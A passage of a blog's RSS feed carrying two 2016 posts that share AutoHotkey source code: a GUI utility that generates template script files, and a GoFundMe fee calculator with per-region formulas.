&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFC_BO8qdcJbS-FGLFmJ540UcEV94kG5sJClN2MOG6Dd_eWawO49d1ba9edpVL9EZAk9DQUxxYIzzgkQXmWELigPH-uxqWDzqM4I5bz7jp2MejwJPFzjA-n42ZaOGFhEkwMEtIF6x2U8Lh/s1600/AHKScriptGenerator.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFC_BO8qdcJbS-FGLFmJ540UcEV94kG5sJClN2MOG6Dd_eWawO49d1ba9edpVL9EZAk9DQUxxYIzzgkQXmWELigPH-uxqWDzqM4I5bz7jp2MejwJPFzjA-n42ZaOGFhEkwMEtIF6x2U8Lh/s1600/AHKScriptGenerator.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
        &lt;div&gt;
        &lt;h1&gt;Downloads&lt;/h1&gt;
         &lt;a class=&quot;bt&quot; href=&quot;https://github.com/Lateralus138/AutoHotkey-Script-Generator/raw/master/AHKScriptGenerator_32.exe&quot;&gt;AHK Script Generator 32 Bit&lt;/a&gt;&lt;a class=&quot;bt&quot; href=&quot;https://github.com/Lateralus138/AutoHotkey-Script-Generator/raw/master/AHKScriptGenerator_64.exe&quot;&gt;AHK Script Generator 64 Bit&lt;/a&gt;&lt;br /&gt;
        &lt;a class=&quot;bt&quot; href=&quot;https://github.com/Lateralus138/AutoHotkey-Script-Generator&quot;&gt;AHK Script Generator GitHub Repository&lt;/a&gt;
        &lt;/div&gt;
        &lt;h2&gt;And the code...&lt;/h2&gt;
&lt;pre class=&quot;MyScripts&quot;&gt;
; Create pre-generated AutoHotkey script
; with a basic template or import your own
#SingleInstance, Force
; Init
OnExit, Leave

#NoEnv
SendMode Input
SetWorkingDir %A_ScriptDir%

; Vars
innerTitle := &quot;; Header and/or title here&quot;
df := &quot;Segoe UI&quot;
csf := &quot;Lucida Console&quot;
Global asg := &quot;AutoHotkey Script Generator&quot;
about =
(
AutoHotkey Script Generator is a small, but efficient utility to help you create lots of AutoHotkey scripts. You can instantly generate a basic universal script written by me or you can import your own pre-written templates.


)
extend =
(
 AHK Script Generator is, of course, written in the scripting language called AutoHotkey. For more information on the amazing scripting language that I love above all else please visit any of the links below:
)
; Build menus, intial loops and guis here
Menu, Tray, NoStandard
Menu, Tray, Add, Reload, Rld
Menu, Tray, Add, About AHK Script Generator, Abt
Menu, Tray, Add
Menu, Tray, Add, Exit, Leave

Gui, Color, , 0xFFFFE0
Gui, Add, Tab3, w500 h600 vtaba, Create Script|Import Template|About
Gui, Tab, Create Script
cf(&quot;14&quot;, , &quot;000080&quot;, , &quot;5&quot;)
Gui, Add, Text, , AutoHotkey Script Name`n(Optional - generated by time and date).
cf(, csf, &quot;00001F&quot;)
Gui, Add, Edit, h23 vtitle
cf(&quot;14&quot;, , &quot;000080&quot;, , &quot;5&quot;)
Gui, Add, Text, , Script title or starting comments`n(Optional - adds whatever you type). 
cf(, csf, &quot;00001F&quot;)
Gui, Add, Edit, 0x1000 r5 vinnerTitle, % innerTitle
cf(&quot;14&quot;, , &quot;000080&quot;, , &quot;5&quot;)
Gui, Add, Text, ,Choose your directory`n(Optional - defaults to this programs directory).
cf(, csf, &quot;00001F&quot;)
Gui, Add, Edit, vdir h23, % A_WorkingDir
show()
ControlGetPos, xe3b, ye3b, we3b, he3b, Edit3, % asg
b1x := (xe3b + we3b) + 4
cf()
Gui, Add, Button, x%b1x% yp-1 vb1 h24, Select Directory
show()
ControlGetPos, xb1a, yb1a, wb1a, hb1a, Button1, % asg
b1width := (xb1a + wb1a) - 10
If (b1width &lt; 420)
 {
  gap := (420 - b1width)
  e3w := we3b + gap
  b1width := &quot;420&quot;
  GuiControl, Move, dir, w%e3w%
  ControlGetPos, xe3c, ye3c, we3c, he3c, Edit3, % asg
  bgap := (xe3c + we3c) - 7
  GuiControl, Move, b1, x%bgap%
 }
e2width := b1width - 14
fwidth := b1width + 32
show()
GuiControl, Move, innerTitle, w%e2width%
GuiControl, Move, title, w%e2width%
ControlGetPos, xe3a, ye3a, we3a, he3a, Edit3, % asg
b2x := xe3a - 4
b2w := fwidth - 44
cf(&quot;24&quot;, , , &quot;500&quot;, &quot;5&quot;)
Gui, Add, Button, x%b2x% w%b2w% y+8 h64, Generate Script
show()
ControlGetPos, xb2a, yb2a, wb2a, hb2a, Button2, % asg
fheight := (yb2a + hb2a) - 8
If (fwidth &lt; 364)
 fwidth := &quot;364&quot;
wtab := fwidth - 18
htab := fheight - 12
GuiControl, Move, taba, w%wtab% h%htab%
Gui, Tab, Import Template
cf(&quot;14&quot;, , &quot;000080&quot;, , &quot;5&quot;)
Gui, Add, Text,  vimpt, % &quot;You can import your custom templates here.&quot;
         . &quot;`nYou can use any readable text file in any&quot;
         . &quot;`nformat: TXT, AHK, XML etc...&quot;
show()
ControlGetPos, xs4a, ys4a, ws4a, hs4a, Static4, % asg
b4y := ys4a + hs4a
cf(, csf, &quot;00001F&quot;)
Gui, Add, Edit, vimp
show()
ControlGetPos, xe4a, ye4a, we4a, he4a, Edit4, % asg
b4ny := (ye4a - ys4a) + 5
e4w := xe4a + we4a
cf()
Gui, Add, Button, x+8 yp  h23 vfile, Select File
show()
ControlGetPos, xb4a, yb4a, wb4a, hb4a, Button3, % asg
b4w := xb4a + wb4a
If (b4w &lt; fwidth)
 {
  bgap := fwidth - b4w
  e4nw := (bgap + we4a) - 16
  GuiControl, Move, imp, w%e4nw%
  xb4nx := (xe4a + e4nw) - 8
  GuiControl, Move, file, x%xb4nx% y%b4ny%
 }
cf(&quot;14&quot;, , &quot;000080&quot;, , &quot;5&quot;)
Gui, Add, Text, x%xe4a% y%yb4a% , % &quot;Name your script`n(Optional - will keep templates name).&quot;
cf(, csf, &quot;00001F&quot;)
Gui, Add, Edit, viname w%e2width%
show()
ControlGetPos, xe5a, ye5a, we5a, he5a, Edit5, % asg
cf(&quot;14&quot;, , &quot;000080&quot;, , &quot;5&quot;)
Gui, Add, Text, x%xe4a% y%ye5a%, Choose your directory`n(Optional - defaults to this programs directory).
cf(, csf, &quot;00001F&quot;)
Gui, Add, Edit, vifile, % A_WorkingDir
show()
ControlGetPos, xe6a, ye6a, we6a, he6a, Edit6, % asg
cf()
Gui, Add, Button, gSelect2 x+8 yp-1 h23 v2file, Select Directory
show()
ControlGetPos, xb5a, yb5a, wb5a, hb5a, Button4, % asg
b5w := xb5a + wb5a
b6y := fheight - 82 ; he6a + 8
If (b5w &lt; fwidth)
 {
  b4gap := fwidth - b5w
  e5nw := (b4gap + we6a) - 16
  GuiControl, Move, ifile, w%e5nw%
  xb5nx := (xe6a + e5nw) - 8
  GuiControl, Move, 2file, x%xb5nx%
 }
cf(&quot;24&quot;, , , &quot;500&quot;, &quot;5&quot;)
b6x := b2x + 4
Gui, Add, Button, x%b6x% w%b2w% y%b6y% h64 g2gen, Generate Script
Gui, Tab, About
cf(&quot;14&quot;, , &quot;000080&quot;, , &quot;5&quot;)
Gui, Add, Text, w%e2width%, % about extend
cf(&quot;14&quot;, , &quot;Red&quot;, , &quot;5&quot;)
Gui, Add, Link, , Official Site &lt;a href=&quot;https://www.autohotkey.com/&quot;&gt;AutoHotkey.com&lt;/a&gt;
Gui, Add, Link,y+0 , Official Forum &lt;a href=&quot;https://autohotkey.com/boards/&quot;&gt;AutoHotkey Forums&lt;/a&gt;
Gui, Add, Link,y+0 , My Blog &lt;a href=&quot;https://techmicrocosm.blogspot.com/&quot;&gt;The Tech Micrcosm&lt;/a&gt;
Gui, Show, w%fwidth% h%fheight%, % asg

; End auto execute
Return

; Hotkeys
!r::Gosub, Rld

; Functions
show(){
 Gui, Show, , AutoHotkey Script Generator
}
cf(size := &quot;10&quot;, font := &quot;Segoe UI&quot;, color := &quot;Black&quot;, weight := &quot;400&quot;, qty := &quot;0&quot;){
 Gui, Font, s%size% c%color% w%weight% q%qty%, % font 
}
funcCreateScript(dir, com, title){
 If (title = &quot;&quot;)
  title := &quot;AutoHotkey_&quot; funcGetTime() &quot;.ahk&quot;
 Else
  title := title &quot;.ahk&quot;
 If (com = &quot;&quot;)
  com := &quot;; &quot; title
 fp := dir &quot;\&quot; title
 IfNotExist, % fp
  {
 FileAppend,
(
%com%

`; Init
#NoEnv
SendMode Input
SetWorkingDir `%A_ScriptDir`%

`; Vars


`; Build menus, intial loops and guis here


`; End auto execute
Return

`; Hotkeys


`; Functions


`; Classes


`; Subs


), % fp
 funcCheckFiles(fp, asg)
  }
 Else
  funcExists(fp)
}
funcCheckFiles(file, msgtitle){
 IfExist, % file
  MsgBox, 64, % msgtitle &quot; Info&quot;, % &quot;Your script was created successfully at:`n`n&quot; file
 Else
  MsgBox, 16,  % msgtitle &quot; Error&quot;, % file . &quot;`nwas not created. If you are trying to save to a folder&quot;
              . &quot;`nyou do not own then you will need to run this program&quot;
              . &quot;`nas adminstrator and try again.&quot;  
}

funcGetTime(){
 FormatTime, a,, MM.dd.yyyy_h.mm.ss_tt
 Return a
}
funcExists(file){
 MsgBox, 16, % asg &quot; Error&quot;, % &quot;AutoHotkey script file:`n`n&quot; file &quot;`n`nalready exists. Please rename the existing file or try a different name.&quot;
}
; Classes
Class Globals {
 SetGlobal(vVar,vVal=&quot;&quot;){
  Global
  %vVar% := vVal
  Return
 }
 GetGlobal(vVar){
  Global
  Local vTmp
  vTmp := %vVar%
  Return vTmp
 }
}

; Subs
Abt:
 MsgBox, 64, AHK Script Generator Info, % about &quot;Please refer to the programs About tab for informative web links.&quot;
Return
Rld:
 Reload
Return
ButtonSelectDirectory:
 DriveGet, a, list
 Loop, Parse, a
  {
   IfExist, % A_LoopField &quot;:\Users\&quot; A_Username &quot;\Desktop\&quot;
    FileSelectFolder, dir, % A_LoopField &quot;:\&quot;, 3
  }
 GuiControl, , dir, % dir
Return
Select2:
 DriveGet, b, list
 Loop, Parse, b
  {
   IfExist, % A_LoopField &quot;:\Users\&quot; A_Username &quot;\Desktop\&quot;
    FileSelectFolder, 2dir, % A_LoopField &quot;:\&quot;, 3
  }
 GuiControl, , ifile, % 2dir
Return
ButtonGenerateScript:
 Gui, Submit, NoHide
 funcCreateScript(dir, innerTitle, title)
Return
2gen:
 Gui, Submit, NoHide
 If iname
  name := iname
 Else
  name := fn
 If !2dir
  tdir := A_WorkingDir &quot;\&quot;
 Else
  tdir := 2dir &quot;\&quot;
 finalf := tdir name &quot;.ahk&quot;
 IfNotExist, % finalf
  {
   FileRead, copy,  % file
   FileAppend, %copy%, % finalf
   funcCheckFiles(finalf, asg)
  }
 Else
  funcExists(finalf)
Return
ButtonSelectFile:
 FileSelectFile, file
 SplitPath, file, , , ,fn
 GuiControl, , imp, % file
Return
GuiClose:
Leave:
 ExitApp
 
&lt;/pre&gt;
        
        &lt;div class=&quot;MsgBox&quot;&gt;
            &lt;div class=&quot;fb-share-button&quot; data-href=&quot;&quot; data-layout=&quot;button_count&quot; data-mobile-iframe=&quot;true&quot; style=&quot;display: inline-block;vertical-align: top;&quot;&gt;&lt;/div&gt;
            &lt;div class=&quot;g-plusone&quot;&gt;&lt;/div&gt;
            &lt;div  style=&quot;display: inline-block;vertical-align: top;margin-left: -40px;&quot;&gt; &lt;a href=&quot;https://twitter.com/share&quot; class=&quot;twitter-share-button&quot; data-url=&quot;https://techmicrocosm.blogspot.com/2016/09/ahk-script-generator.html&quot; data-via=&quot;Lateralus138&quot; data-hashtags=&quot;AutoHotkey,Scripting&quot;&gt;Tweet&lt;/a&gt; 
              &lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?&#39;http&#39;:&#39;https&#39;;if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+&#39;://platform.twitter.com/widgets.js&#39;;fjs.parentNode.insertBefore(js,fjs);}}(document, &#39;script&#39;, &#39;twitter-wjs&#39;);&lt;/script&gt; 
            &lt;/div&gt;
        &lt;/div&gt;       
 &lt;/div&gt;
</description><link>https://techmicrocosm.blogspot.com/2016/09/ahk-script-generator.html</link><author>noreply@blogger.com (FluxApex)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSyDM7_GS-VOPy-gOSXAYAl2BwMv1VPZeDos9lz9z1_mZmuzY8_0zWQmrIIcr1P_0AEC5jLkgLv3StxeghrvMAu5nugV9C5QbS-kKsVGO2PpQjV9yUuUAQv4IJNZ1zAL8NdhfpUdTny0Iy/s72-c/ahksg_screen.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6302933238343520396.post-8217489719566807569</guid><pubDate>Mon, 08 Aug 2016 23:59:00 +0000</pubDate><atom:updated>2016-08-08T20:59:45.827-05:00</atom:updated><title>GoFundMe Calculator</title><description> &lt;div id=&quot;BlogBody&quot;&gt;
        &lt;div id=&quot;fb-root&quot;&gt;&lt;/div&gt;
        &lt;script&gt;(function(d, s, id) {
            var js, fjs = d.getElementsByTagName(s)[0];
            if (d.getElementById(id)) return;
            js = d.createElement(s); js.id = id;
            js.src = &quot;//connect.facebook.net/en_US/sdk.js#xfbml=1&amp;version=v2.6&amp;appId=315119595244827&quot;;
            fjs.parentNode.insertBefore(js, fjs);
        }(document, &#39;script&#39;, &#39;facebook-jssdk&#39;));
        &lt;/script&gt;
        &lt;div class=&quot;MsgBox&quot;&gt;
            &lt;div class=&quot;fb-share-button&quot; data-href=&quot;https://techmicrocosm.blogspot.com/2016/08/gofundme-calculator.html&quot; data-layout=&quot;button_count&quot; data-mobile-iframe=&quot;true&quot; style=&quot;display: inline-block;vertical-align: top;&quot;&gt;&lt;/div&gt;
            &lt;div class=&quot;g-plusone&quot;&gt;&lt;/div&gt;
            &lt;div  style=&quot;display: inline-block;vertical-align: top;margin-left: -40px;&quot;&gt; &lt;a href=&quot;https://twitter.com/share&quot; class=&quot;twitter-share-button&quot; data-url=&quot;https://techmicrocosm.blogspot.com/2016/08/gofundme-calculator.html&quot; data-via=&quot;Lateralus138&quot; data-hashtags=&quot;GoFundMe, Calculator&quot;&gt;Tweet&lt;/a&gt; 
              &lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?&#39;http&#39;:&#39;https&#39;;if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+&#39;://platform.twitter.com/widgets.js&#39;;fjs.parentNode.insertBefore(js,fjs);}}(document, &#39;script&#39;, &#39;twitter-wjs&#39;);&lt;/script&gt; 
            &lt;/div&gt;
        &lt;/div&gt;
        
        &lt;h1&gt;GoFundMe Calculator V1.0&lt;/h1&gt;
        &lt;p&gt;If you use GoFundMe or plan to in the future then you will find out that they charge a fee. Of course they do, they don&#39;t have to do anything for anyone and as they state on their website (and it most certainly makes sense to me) if you see anyone claiming to do it for free then more than likely it is a scam. I don&#39;t like being charged any more than anyone else, but I have to be grateful for a service that wouldn&#39;t be avaible otherwise; at least not as easily.&lt;/p&gt;
        &lt;p&gt;The fee they charge uses a formula with a percentage of the full donation + a fee for each card transaction that is ran through a card processing company. In the end (and IMHO) the fees really aren&#39;t that bad. But most people would never know exaclty what they will receive until the final withdrawal (or you do the math yourself of course). GoFundMe pricing can and formulas can be found here: &lt;a href=&quot;https://www.gofundme.com/pricing&quot; target=&quot;_blank&quot;&gt;GoFundMe Pricing Page&lt;/a&gt;, but today I bring you &lt;span class=&quot;highlight&quot;&gt;GoFundMe Calculator V1.0&lt;/span&gt;!
        &lt;/p&gt;
        &lt;p&gt;&lt;span class=&quot;highlight&quot;&gt;GoFundMe Calculator V1.0&lt;/span&gt; calculates the total your recipient receives by providing the total donation and the total number of donations. This will work for all country regions and various VAT percentages in those respective countries. You can also use this before you even start the fund to estimate how much you need to aim for.
        &lt;/p&gt;
        &lt;br /&gt;
        &lt;div&gt;
         Note: This has been tested in the US and the math should all be good, but I am only 99% I did the VAT math right so if I can get a European/UK friend to verify this is accurate for VATs I would appreciate it.
        &lt;/div&gt;
        &lt;h2&gt;Images&lt;/h2&gt;
  &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
         &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKsSsLbDcmp2yag81Gbod19HFA3TNvfT1kdhg2XwUoO6PuOZRC7WpebUUnI51FQQbNA2eK9ysyeNfEcbxzifbcYftu3WkwE2Dab2xo_WM2CHQBMEdtwNxe6Fww4Mk2vcZp7ypIbQFa6Hqw/s1600/main_screen-gfmc.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;
             &lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKsSsLbDcmp2yag81Gbod19HFA3TNvfT1kdhg2XwUoO6PuOZRC7WpebUUnI51FQQbNA2eK9ysyeNfEcbxzifbcYftu3WkwE2Dab2xo_WM2CHQBMEdtwNxe6Fww4Mk2vcZp7ypIbQFa6Hqw/s1600/main_screen-gfmc.png&quot; /&gt;
            &lt;/a&gt;
            &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIx_FgHh-pS6r1XDCd3Zh34kbCmqqp_t1bITAe4WEK6KIRs21f1bZzBp7FTehkFdcEnmcPWRBo0omKZeZAgSNptXrpTZbSkIc1DPqDwrG3XbDGil9nQWGEjdcUh4TwzWLbotYYNDJFRcnF/s1600/gfmcalc.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;                         
             &lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIx_FgHh-pS6r1XDCd3Zh34kbCmqqp_t1bITAe4WEK6KIRs21f1bZzBp7FTehkFdcEnmcPWRBo0omKZeZAgSNptXrpTZbSkIc1DPqDwrG3XbDGil9nQWGEjdcUh4TwzWLbotYYNDJFRcnF/s1600/gfmcalc.png&quot; /&gt;
            &lt;/a&gt;
        &lt;/div&gt;
        &lt;div&gt;
         &lt;h2&gt;Downloads&lt;/h2&gt;
         &lt;a class=&quot;bt&quot; href=&quot;https://app.box.com/s/3xvgpctu2kq4lf07mtmd222e15zoob8q&quot; target=&quot;_blank&quot;&gt;GoFundMe Calculator V1.0&lt;/a&gt;&lt;a class=&quot;bt&quot; href=&quot;https://app.box.com/s/jq4017fga0l6kjiukhnxgdurfx9uhh59&quot; target=&quot;_blank&quot;&gt;GofundMe Calculator Source Files&lt;/a&gt;
        &lt;/div&gt;
        &lt;h2&gt;Script&lt;/h2&gt;
        &lt;p&gt;As with most of my programs (mostly written in AutoHotkey) I provide the source.&lt;/p&gt;
&lt;pre class=&quot;MyScripts&quot;&gt;
; GoFundMe Calculator
#NoTrayIcon
OnExit, GuiClose
OnMessage(0x3,&quot;WM_MOVE&quot;)
OnMessage(0x200, &quot;WM_MOUSEMOVE&quot;)

; Init
#SingleInstance, Force

;Build Gui
Gui, Font, s11 cBlack, Segoe UI
Gui, Add, Text, xm ym w200, Donation Total:
Gui, Add, Edit, w200 vvTotal
Gui, Add, Text, w200, Donation Count:
Gui, Add, Edit, w200 vvDCount
Gui, Show, Autosize, GoFundMe Calculator
WinGet, vClst, ControlList, GoFundMe Calculator
Loop, Parse, vClst, `n
 {
  ControlGetPos, vX, vY, vW, vH, % A_LoopField, GoFundMe Calculator
  If !vTop
   vTop := vY - 23
  If !vLeft
   vLeft := vX
  vBttnX := (vX + vW) + 8
  vBttnH := (vY + vH) - 31
  vNextArea := vBttnH + 13
 }
Gui, Add, Button, y%vTop% x%vBttnX% ggsSbmtTtl vvBttnMv, Calculate
GuiControl, Move, vBttnMv, y%vTop% x%vBttnX% h%vBttnH%
ControlGetPos, , , vWb, , Button1, GoFundMe Calculator
Gui, Font, s14 cRed, Segoe UI
Gui, Add, Text, x%vLeft% y%vNextArea% w200, You&#39;ll Receive:
Gui, Font, s11 cBlack, Segoe UI
Gui, Add, Button,  x%vBttnX% yp w%vWb% vvBttnMvb, Info
ControlGetPos, , vYc, ,vHc, Button2, GoFundMe Calculator
Gui, Font, s14 cRed, Segoe UI
Gui, Add, Text, x%vLeft% y%vYc% w200 vvFnl,
ControlGetPos, , , ,vHd, Static3, GoFundMe Calculator
ControlGetPos, , , ,vHe, Static4, GoFundMe Calculator
vNfoH := vHd + vHe
GuiControl, Move, vBttnMvb, h%vNfoH%
Gui, Font, s11 cBlack, Segoe UI
Gui, Add, DropDownList, w200 vvCntrChc, US/Canada||United Kingdom|Australia Only|Charities|International (VAT 17`%)|International (VAT 19`%)|International (VAT 20`%)|International (VAT 21`%)|International (VAT 22`%)|International (VAT 23`%)|International (VAT 24`%)
Gui, Font, s7 cBlack, Segoe UI
vLnkMrgn := vBttnX + 8
Gui, Add, Link, x%vLnkMrgn% yp, &lt;a href=&quot;http://lateralus138.deviantart.com/&quot;&gt;My Deviant&lt;/a&gt;
Gui, Add, Link, x%vLnkMrgn% yp+16, &lt;a href=&quot;https://techmicrocosm.blogspot.com&quot;&gt;Microcosm&lt;/a&gt;
Gui, Show, Autosize, GoFundMe Calculator

Return

; Functions
MouseOver(vXa, vYa, vXb, vYb)
 {
  MouseGetPos, vPx, vPy
  vDtct := vPx &gt;= vXa AND vPx &lt;= vXb AND vPy &gt;= vYa AND vPy &lt;= vYb
  Return vDtct
 }
WM_MOUSEMOVE(){
 If MouseOver(&quot;19&quot;, &quot;218&quot;, &quot;219&quot;, &quot;247&quot;) Or MouseOver(&quot;16&quot;, &quot;61&quot;, &quot;216&quot;, &quot;89&quot;) Or MouseOver(&quot;16&quot;, &quot;125&quot;, &quot;216&quot;, &quot;153&quot;)
  {
   If MouseOver(&quot;19&quot;, &quot;218&quot;, &quot;219&quot;, &quot;247&quot;)
    ToolTip % &quot;Select your region here.&quot;
   If MouseOver(&quot;16&quot;, &quot;61&quot;, &quot;216&quot;, &quot;89&quot;)
    ToolTip % &quot;Enter donation total here...&quot;
   If MouseOver(&quot;16&quot;, &quot;125&quot;, &quot;216&quot;, &quot;153&quot;)
    ToolTip % &quot;Enter donation count here. Not needed for charities.&quot;
  }
 Else
  ToolTip
}

WM_MOUSELEAVE(){
 ToolTip
}
WM_MOVE(wParam, lParam){
 IfWinExist, GoFundMe Calculator Info
  Gosub, gsChckMsgBx
 IfWinExist, GoFundMe Calculator Error
  Gosub, gsChckErr
}
fncCalcDonation(va,vb,vc){
 If !va
  {
   SetTimer, gsChckErr, -201
     
   MsgBox, 16, GoFundMe Calculator Error, % &quot;Donation Total not provided...&quot;
   Return
  }
 If (vc = &quot;US/Canada&quot;)
  {
   If !vb
    {
     SetTimer, gsChckErr, -201      
     MsgBox, 16, GoFundMe Calculator Error, % &quot;Enter both numbers and try again...&quot;
     Return
    }
   vTtl :=Round(va - ((va * .079) + (vb * .30)), 2)
  }
 If (vc = &quot;United Kingdom&quot;)
  {
   If !vb
    {
     SetTimer, gsChckErr, -201      
     MsgBox, 16, GoFundMe Calculator Error, % &quot;Enter both numbers and try again...&quot;
     Return
    }
   vTtl := Round(va - ((va * .064)+((vb * .20) + (vb * .20))), 2)
  }
 If (vc = &quot;Australia Only&quot;)
  {
   If !vb
    {
     SetTimer, gsChckErr, -201      
     MsgBox, 16, GoFundMe Calculator Error, % &quot;Enter both numbers and try again...&quot;
     Return
    }
   vTtl := Round(va - ((va * .0675)+(vb * .30)), 2)
  }
 If (vc = &quot;Charities&quot;)
  {
   If vb
    {
     SetTimer, gsChckErr, -201      
     MsgBox, 16, GoFundMe Calculator Error, % &quot;Charities does not need Donation Count...&quot;
     Return    
    }
   vTtl := Round(va - (va * .0925), 2)
  }
 If (vc = &quot;International (VAT 17%)&quot;)
  {
   If !vb
    {
     SetTimer, gsChckErr, -201      
     MsgBox, 16, GoFundMe Calculator Error, % &quot;Enter both numbers and try again...&quot;
     Return
    }
   vTtl := Round(va - ((va * .079)+((vb * .25) + (vb * .17))), 2)
  }
 If (vc = &quot;International (VAT 19%)&quot;)
  {
   If !vb
    {
     SetTimer, gsChckErr, -201      
     MsgBox, 16, GoFundMe Calculator Error, % &quot;Enter both numbers and try again...&quot;
     Return
    }
   vTtl := Round(va - ((va * .079)+((vb * .25) + (vb * .19))), 2)
  }
 If (vc = &quot;International (VAT 20%)&quot;)
  {
   If !vb
    {
     SetTimer, gsChckErr, -201      
     MsgBox, 16, GoFundMe Calculator Error, % &quot;Enter both numbers and try again...&quot;
     Return
    }
   vTtl := Round(va - ((va * .079)+((vb * .25) + (vb * .20))), 2)
  }
 If (vc = &quot;International (VAT 21%)&quot;)
  {
   If !vb
    {
     SetTimer, gsChckErr, -201      
     MsgBox, 16, GoFundMe Calculator Error, % &quot;Enter both numbers and try again...&quot;
     Return
    }
   vTtl := Round(va - ((va * .079)+((vb * .25) + (vb * .21))), 2)
  }
 If (vc = &quot;International (VAT 22%)&quot;)
  {
   If !vb
    {
     SetTimer, gsChckErr, -201      
     MsgBox, 16, GoFundMe Calculator Error, % &quot;Enter both numbers and try again...&quot;
     Return
    }
   vTtl := Round(va - ((va * .079)+((vb * .25) + (vb * .22))), 2)
  }
 If (vc = &quot;International (VAT 23%)&quot;)
  {
   If !vb
    {
     SetTimer, gsChckErr, -201      
     MsgBox, 16, GoFundMe Calculator Error, % &quot;Enter both numbers and try again...&quot;
     Return
    }
   vTtl := Round(va - ((va * .079)+((vb * .25) + (vb * .23))), 2)
  }
 If (vc = &quot;International (VAT 24%)&quot;)
  {
   If !vb
    {
     SetTimer, gsChckErr, -201      
     MsgBox, 16, GoFundMe Calculator Error, % &quot;Enter both numbers and try again...&quot;
     Return
    }
   vTtl := Round(va - ((va * .079)+((vb * .25) + (vb * .24))), 2)
  }
 If vTtl Contains -
  vTtl = 0
 Return vTtl
}
fncMvMsgBx(vPTitle, vCTitle, vTtMtchMd := &quot;Fast&quot;){
 SetTitleMatchMode, % vTtMtchMd
 IfWinExist, % vCTitle
  {
   WinGetPos, vCx, vCy, vCw, vCh, % vPTitle
   WinGetPos, , , vDw, vDh, % vCTitle
   vMy := vCy + vCh + 13
   If (vCw &lt; vDw)
    vNx := vCx - ((vDw - vCw) / 2)
   Else
    vNx := vCx + ((vCw - vDw) / 2)
   WinMove, % vCTitle, , %vNx% ,%vMy%
  }
 WinActivate, GoFundMe Calculator
 SetTitleMatchMode, Fast

}
fncInfo(){
 SetTimer, gsChckMsgBx, -201
 Sleep, 1
 Gui, Info: New
 nf(&quot;12&quot;)
 Gui, Info: Add, Text, xm ym, % &quot;Information about GoFundMe pricing can be found here:&quot;
 Gui, Info: Show, , GoFundMe Calculator Info
 ControlGetPos, , , , vHg, Static1, GoFundMe Calculator Info
 Gui, Info: Add, Link, xp yp+%vHg% , &lt;a href=&quot;https://www.gofundme.com/pricing&quot;&gt;GoFundMe Pricing Page&lt;/a&gt;
 Gui, Info: Show, , GoFundMe Calculator Info
 ControlGetPos, , , ,vHf , SysLink1, GoFundMe Calculator Info
 Gui, Info: Add, Text, xp yp+%vHf%, % &quot;Select your region and enter the Donations Total and&quot;
          . &quot;`nthe Donations Count and click the [Calculate] button.&quot;
          . &quot;`nPrices vary per country.&quot;
          . &quot;`n`nNote: This calculator should be accurate within a cent&quot;
          . &quot;`nor two as it is rounded to the closest cent. If you have&quot;
          . &quot;`nany errors, questions, or any feedback in general, please&quot;
          . &quot;`nsend any inqueries to:&quot;
 Gui, Info: Show, , GoFundMe Calculator Info
 ControlGetPos, , vYe, ,vHe , Static2, GoFundMe Calculator Info
 Gui, Info: Add, Link, xp yp+%vHe%, &lt;a href=&quot;mailto:faithnomoread@yahoo.com&quot;&gt;faithnomoread@yahoo.com&lt;/a&gt;
 Gui, Info: Show, Autosize, GoFundMe Calculator Info
}
nf(vs := &quot;11&quot;,vc := &quot;Black&quot;,vf := &quot;Segoe UI&quot;){
 Gui, Info: Font, s%vs% c%vc%, %vf%
}

; Gosubs
ButtonInfo:
 SetTimer, gsChckMsgBx, -201
 Sleep, 1
 fncInfo()
Return
gsChckMsgBx:
 fncMvMsgBx(&quot;GoFundMe Calculator&quot;, &quot;GoFundMe Calculator Info&quot;, &quot;3&quot;)
Return
gsChckErr:
 fncMvMsgBx(&quot;GoFundMe Calculator&quot;, &quot;GoFundMe Calculator Error&quot;, &quot;3&quot;)
Return
gsSbmtTtl:
 Gui, Submit, NoHide
 GuiControl, , vFnl, % fncCalcDonation(vTotal, vDCount, vCntrChc)
Return
GuiClose:
 ExitApp
&lt;/pre&gt;
        
      &lt;div class=&quot;MsgBox&quot;&gt;
            &lt;div class=&quot;fb-share-button&quot; data-href=&quot;https://techmicrocosm.blogspot.com/2016/08/gofundme-calculator.html&quot; data-layout=&quot;button_count&quot; data-mobile-iframe=&quot;true&quot; style=&quot;display: inline-block;vertical-align: top;&quot;&gt;&lt;/div&gt;
            &lt;div class=&quot;g-plusone&quot;&gt;&lt;/div&gt;
            &lt;div  style=&quot;display: inline-block;vertical-align: top;margin-left: -40px;&quot;&gt; &lt;a href=&quot;https://twitter.com/share&quot; class=&quot;twitter-share-button&quot; data-url=&quot;https://techmicrocosm.blogspot.com/2016/08/gofundme-calculator.html&quot; data-via=&quot;Lateralus138&quot; data-hashtags=&quot;GoFundMe, Calculator&quot;&gt;Tweet&lt;/a&gt; 
